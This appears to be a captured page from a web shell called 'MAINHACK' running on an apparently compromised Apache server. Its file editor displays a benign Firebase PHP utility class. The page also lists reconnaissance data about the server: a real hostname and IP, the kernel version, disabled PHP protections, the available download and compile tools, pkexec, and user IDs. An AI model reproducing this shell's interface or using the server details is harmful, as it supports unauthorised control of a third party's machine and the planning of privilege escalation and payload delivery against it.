[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Util.php
<?php declare(strict_types=1); namespace Kreait\Firebase; use function getenv; use function in_array; use function putenv; /** * @internal */ final class Util { /** * @param non-empty-string $name * * @return non-empty-string|null */ public static function getenv(string $name): ?string { $value = trim((string) ($_SERVER[$name] ?? $_ENV[$name] ?? getenv($name))); return $value !== '' ? $value : null; } /** * @param non-empty-string $name * @param non-empty-string $value */ public static function putenv(string $name, string $value): void { $_ENV[$name] = $value; $_SERVER[$name] = $value; putenv("{$name}={$value}"); } /** * @param non-empty-string $name */ public static function rmenv(string $name): void { unset($_ENV[$name], $_SERVER[$name]); putenv($name); } /** * @return non-empty-string|null */ public static function authEmulatorHost(): ?string { $emulatorHost = self::getenv('FIREBASE_AUTH_EMULATOR_HOST'); if (!in_array($emulatorHost, [null, ''], true)) { return $emulatorHost; } return null; } /** * @return non-empty-string|null */ public static function rtdbEmulatorHost(): ?string { $emulatorHost = self::getenv('FIREBASE_DATABASE_EMULATOR_HOST'); if (!in_array($emulatorHost, [null, ''], true)) { return $emulatorHost; } return null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002